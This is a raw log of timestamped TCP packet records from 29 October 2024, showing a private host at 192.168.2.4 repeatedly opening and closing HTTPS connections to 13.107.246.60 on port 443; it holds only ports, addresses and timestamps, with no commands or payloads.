Oct 29, 2024 04:53:34.647198915 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.647289991 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.647345066 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.647381067 CET	49955	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.647393942 CET	443	49955	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.649589062 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.649616003 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.649699926 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.649925947 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.649935961 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.715969086 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.718738079 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.718801022 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.719194889 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.719208002 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.846064091 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.846200943 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.846302032 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.857347965 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.857347965 CET	49956	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.857381105 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.857407093 CET	443	49956	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.869329929 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.869401932 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:34.869481087 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.869632959 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:34.869654894 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.037844896 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.038382053 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.038395882 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.038830996 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.038835049 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.177221060 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.177362919 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.177509069 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.177561045 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.177567959 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.177603006 CET	49957	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.177612066 CET	443	49957	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.180545092 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.180577993 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.180686951 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.180886984 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.180897951 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.249089956 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.249871969 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.249931097 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.250415087 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.250430107 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.263973951 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.264700890 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.264715910 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.265300989 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.265305042 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.381227970 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.381298065 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.381402016 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.381534100 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.381534100 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.381648064 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.381694078 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.381726980 CET	49958	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.381742954 CET	443	49958	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.382479906 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.382879019 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.382901907 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.383277893 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.383284092 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.384440899 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.384515047 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.384623051 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.384752035 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.384782076 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.395121098 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.395545006 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.395629883 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.395821095 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.395832062 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.395840883 CET	49959	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.395845890 CET	443	49959	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.398148060 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.398184061 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.398253918 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.398348093 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.398361921 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.511874914 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.512022018 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.512142897 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.512279987 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.512299061 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.512309074 CET	49960	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.512315035 CET	443	49960	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.514609098 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.514637947 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.514705896 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.514827967 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.514842033 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.646424055 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.646918058 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.646934032 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.647541046 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.647548914 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.784796953 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.784869909 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.784944057 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.784975052 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.785044909 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.785094976 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.785209894 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.785238981 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.785264969 CET	49961	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.785279036 CET	443	49961	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.788062096 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.788100958 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.788177013 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.788331032 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.788348913 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.914202929 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.914676905 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.914690971 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:35.915163040 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:35.915174961 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.045470953 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.045551062 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.045658112 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.045768023 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.045782089 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.045790911 CET	49962	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.045795918 CET	443	49962	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.048342943 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.048360109 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.048439026 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.048580885 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.048599005 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.121057034 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.121521950 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.121566057 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.122020006 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.122035027 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.140382051 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.140701056 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.140722990 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.141187906 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.141192913 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.250603914 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.250668049 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.250731945 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.250760078 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.250790119 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.250842094 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.250916958 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.250916958 CET	49963	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.250961065 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.250982046 CET	443	49963	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.253973961 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.254014969 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.254110098 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.254230976 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.254272938 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.275804043 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.275949001 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.276058912 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.276143074 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.276164055 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.276173115 CET	49964	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.276179075 CET	443	49964	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.277977943 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.278007984 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.278076887 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.278160095 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.278167963 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.292534113 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.292956114 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.292970896 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.293365955 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.293370008 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.441512108 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.441677094 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.441850901 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.441929102 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.441935062 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.441946030 CET	49965	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.441950083 CET	443	49965	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.445040941 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.445087910 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.445184946 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.445367098 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.445389986 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.531996012 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.532542944 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.532563925 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.533068895 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.533073902 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.790662050 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.791518927 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.791528940 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.792037010 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.792042017 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.871463060 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.871547937 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.871603966 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.871615887 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.871658087 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.871696949 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.871884108 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.871884108 CET	49966	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.871896029 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.871907949 CET	443	49966	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.875726938 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.875780106 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.875835896 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.876928091 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.876955032 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.923695087 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.923784018 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.923856974 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.924029112 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.924029112 CET	49967	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.924036026 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.924042940 CET	443	49967	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.926719904 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.926731110 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:36.926798105 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.926951885 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:36.926961899 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.006766081 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.007213116 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.007256031 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.007608891 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.007621050 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.009870052 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.010121107 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.010153055 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.010456085 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.010467052 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.138655901 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.138814926 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.138885021 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.139002085 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.139002085 CET	49968	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.139034033 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.139058113 CET	443	49968	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141424894 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141489029 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141544104 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.141575098 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141606092 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141650915 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.141730070 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.141751051 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141762972 CET	49969	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.141777039 CET	443	49969	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.141980886 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.142002106 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.142072916 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.142225981 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.142235994 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.143743992 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.143754959 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.143831015 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.143946886 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.143956900 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.181453943 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.181838989 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.181858063 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.182231903 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.182241917 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.310961962 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.311105967 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.311196089 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.311444998 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.311474085 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.311503887 CET	49970	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.311517954 CET	443	49970	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.314291000 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.314308882 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.314387083 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.314533949 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.314546108 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.611183882 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.615793943 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.615837097 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.616358042 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.616372108 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.649142981 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.649501085 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.649522066 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.649799109 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.649804115 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.742342949 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.742434978 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.742551088 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.742599010 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.742713928 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.742713928 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.742734909 CET	49971	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.742753983 CET	443	49971	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.745724916 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.745807886 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.745909929 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.746053934 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.746083021 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.778928041 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.778970957 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.779102087 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.779294014 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.779306889 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.779326916 CET	49972	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.779331923 CET	443	49972	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.781625986 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.781701088 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.781773090 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.781871080 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.781907082 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.884301901 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.884880066 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.884902954 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.885232925 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.885236979 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.995760918 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.996243000 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.996264935 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:37.996918917 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:37.996925116 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.017838001 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.017985106 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.018168926 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.018168926 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.018192053 CET	49973	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.018208027 CET	443	49973	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.020822048 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.020905972 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.020982027 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.021117926 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.021151066 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.047828913 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.048234940 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.048263073 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.048679113 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.048685074 CET	443	49975	13.107.246.60	192.168.2.4
